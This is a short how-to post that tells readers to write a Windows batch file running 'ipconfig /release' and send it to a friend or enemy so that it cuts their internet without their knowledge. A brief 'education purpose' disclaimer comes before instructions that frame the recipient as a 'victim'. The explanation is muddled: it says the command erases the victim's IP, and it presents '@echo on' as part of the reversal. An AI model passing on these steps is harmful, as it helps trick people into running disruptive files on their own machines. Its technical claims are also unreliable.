How To Stop Someone's Internet

.Note any knowledge acquired here must not be used illegally they are for education purpose.
I am going to write code that you can use use to ruin your friend or enemy internet without them knowing.All you have to do is send it to them
open your notepad
@echo off
Ipconfig/release
Make sure you save with extension anything.bat
To reverse this
@echo on
Ipconfig/renew
The first program is to disable your victims internet access.All this code is going to do is to erase your victim IP(internet protocol).without the IP you can't visit any site